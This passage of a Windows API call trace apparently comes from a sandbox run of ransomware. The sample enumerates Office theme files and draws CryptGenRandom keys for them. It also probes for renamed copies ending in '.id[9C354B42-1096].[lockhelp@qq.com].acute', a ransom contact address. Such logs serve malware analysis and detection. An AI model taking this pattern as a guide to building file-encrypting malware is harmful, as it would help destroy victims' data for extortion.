files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.902] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=60154) returned 1 [0273.902] CloseHandle (hObject=0x30c) returned 1 [0273.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm")) returned 0x20 [0273.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.903] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.903] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=596) returned 1 [0273.903] CloseHandle (hObject=0x30c) returned 1 [0273.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0273.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.903] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.904] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=107831) returned 1 [0273.904] CloseHandle (hObject=0x30c) returned 1 [0273.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0273.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.904] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.905] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=450) returned 1 [0273.905] CloseHandle (hObject=0x378) returned 1 [0273.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf")) returned 0x20 [0273.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.906] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.906] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=44745) returned 1 [0273.906] CloseHandle (hObject=0x378) returned 1 [0273.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0273.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.907] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.907] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=465) returned 1 [0273.907] CloseHandle (hObject=0x378) returned 1 [0273.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0273.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.908] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.909] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=57786) returned 1 [0273.909] CloseHandle (hObject=0x378) returned 1 [0273.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0273.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.909] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.909] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=501) returned 1 [0273.910] CloseHandle (hObject=0x378) returned 1 [0273.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0273.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.978] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.979] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=486) returned 1 [0273.979] CloseHandle (hObject=0x37c) returned 1 [0273.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0273.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.008] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.010] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=45528) returned 1 [0274.010] CloseHandle (hObject=0x37c) returned 1 [0274.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0274.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.010] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.012] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=71388) returned 1 [0274.012] CloseHandle (hObject=0x37c) returned 1 [0274.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0274.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.013] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.013] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=569) returned 1 [0274.013] CloseHandle (hObject=0x37c) returned 1 [0274.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0274.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.013] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.015] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=45262) returned 1 [0274.015] CloseHandle (hObject=0x37c) returned 1 [0274.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0274.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.015] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=503) returned 1 [0274.015] CloseHandle (hObject=0x37c) returned 1 [0274.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0274.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.016] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=118577) returned 1 [0274.016] CloseHandle (hObject=0x37c) returned 1 [0274.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0274.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.017] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.017] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=595) returned 1 [0274.017] CloseHandle (hObject=0x37c) returned 1 [0274.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0274.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.018] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.019] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=47352) returned 1 [0274.019] CloseHandle (hObject=0x37c) returned 1 [0274.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0274.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common 